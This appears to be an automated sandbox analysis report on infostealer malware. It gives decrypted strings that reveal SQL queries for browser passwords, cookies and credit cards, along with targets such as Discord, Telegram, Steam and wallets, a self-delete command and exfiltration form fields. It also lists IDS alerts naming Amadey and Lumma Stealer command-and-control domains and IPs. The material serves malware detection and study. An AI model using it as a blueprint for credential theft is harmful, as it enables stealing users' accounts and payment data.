Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CopyFileA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: VirtualProtect
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetLastError
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: lstrcpynA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: MultiByteToWideChar
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GlobalFree
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: WideCharToMultiByte
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GlobalAlloc
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: OpenProcess
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: TerminateProcess
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetCurrentProcessId
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: gdiplus.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: ole32.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: bcrypt.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: wininet.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: shlwapi.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: shell32.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: rstrtmgr.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SelectObject
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: BitBlt
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: DeleteObject
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CreateCompatibleDC
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GdiplusStartup
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GdiplusShutdown
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GdipDisposeImage
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GdipFree
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CoUninitialize
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CoInitialize
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CoCreateInstance
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: BCryptDecrypt
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: BCryptSetProperty
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: BCryptDestroyKey
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetWindowRect
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetDesktopWindow
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetDC
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CloseWindow
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: wsprintfA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CharToOemW
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: wsprintfW
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: RegQueryValueExA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: RegEnumKeyExA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: RegOpenKeyExA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: RegCloseKey
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: RegEnumValueA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CryptUnprotectData
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SHGetFolderPathA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: ShellExecuteExA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: InternetOpenUrlA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: InternetConnectA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: InternetCloseHandle
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: HttpSendRequestA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: HttpOpenRequestA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: InternetReadFile
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: InternetCrackUrlA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: StrCmpCA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: StrStrA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: StrCmpCW
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: PathMatchSpecA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: RmStartSession
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: RmRegisterResources
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: RmGetList
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: RmEndSession
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: sqlite3_open
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: sqlite3_step
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: sqlite3_column_text
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: sqlite3_finalize
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: sqlite3_close
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: sqlite3_column_blob
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: encrypted_key
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: PATH
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: NSS_Init
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: NSS_Shutdown
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: PK11_FreeSlot
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: PK11_Authenticate
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: C:\ProgramData\
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: browser:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: profile:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: url:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: login:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: password:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Opera
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: OperaGX
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Network
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: cookies
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: .txt
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: TRUE
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: FALSE
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: autofill
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: history
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: cc
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: name:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: month:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: year:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: card:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Cookies
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Login Data
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Web Data
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: History
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: logins.json
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: formSubmitURL
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: usernameField
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: encryptedUsername
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: encryptedPassword
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: guid
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: cookies.sqlite
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: formhistory.sqlite
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: places.sqlite
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: plugins
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Local Extension Settings
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Sync Extension Settings
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: IndexedDB
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Opera Stable
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Opera GX Stable
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CURRENT
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: chrome-extension_
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Local State
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: profiles.ini
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: chrome
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: opera
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: firefox
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: wallets
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: ProductName
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: x32
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: x64
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: DisplayName
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: DisplayVersion
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Network Info:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - IP: IP?
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - Country: ISO?
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: System Summary:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - HWID:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - OS:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - Architecture:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - UserName:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - Computer Name:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - Local Time:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - UTC:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - Language:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - Keyboards:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - Laptop:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - Running Path:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - CPU:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - Threads:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - Cores:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - RAM:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - Display Resolution:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: - GPU:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: User Agents:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Installed Apps:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: All Users:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Current User:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Process List:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: system_info.txt
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: freebl3.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: mozglue.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: msvcp140.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: nss3.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: softokn3.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: vcruntime140.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: \Temp\
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: .exe
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: runas
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: open
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: /c start
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: %DESKTOP%
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: %APPDATA%
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: %USERPROFILE%
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: %DOCUMENTS%
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: %RECENT%
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: *.lnk
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: files
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: \discord\
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: \Telegram Desktop\
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: key_datas
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: map*
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Telegram
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Tox
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: *.tox
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: *.ini
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Password
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: 00000001
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: 00000002
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: 00000003
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: 00000004
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Pidgin
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: \.purple\
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: accounts.xml
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: token:
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Software\Valve\Steam
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SteamPath
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: \config\
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: ssfn*
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: config.vdf
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: DialogConfig.vdf
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: libraryfolders.vdf
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: loginusers.vdf
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: \Steam\
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: sqlite3.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: done
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: soft
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: https
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: POST
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: HTTP/1.1
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: hwid
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: build
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: token
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: file_name
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: file
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: message
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: screenshot.jpg

Source: fkawMJ7FH8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.9:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.5.29.203:443 -> 192.168.2.9:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.121.10.34:443 -> 192.168.2.9:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.9:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.229:443 -> 192.168.2.9:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.229:443 -> 192.168.2.9:49914 version: TLS 1.2

Source:

Binary string: .pdbyy: source: I0XmI2t.exe, 0000002D.00000002.3810485257.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp, I0XmI2t.exe, 0000002D.00000000.2915657312.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_009436A9 FindFirstFileExW,	8_2_009436A9
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_0094375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_0094375A
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_0015F191 FindFirstFileExW,	10_2_0015F191
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007BF191 FindFirstFileExW,	11_2_007BF191

Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File opened: C:\Users\user	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.9:49708 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2058397 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click) : 192.168.2.9:64121 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49711 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49712 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.9:49708
Source: Network traffic	Suricata IDS: 2058370 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat) : 192.168.2.9:50607 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.9:61832 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058362 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat) : 192.168.2.9:61409 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058374 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat) : 192.168.2.9:50062 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058376 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat) : 192.168.2.9:54757 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.9:55062 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49714 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.9:58622 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49719 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49715 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49717 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49709 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49722 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058358 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat) : 192.168.2.9:59738 -> 1.1.1.1:53
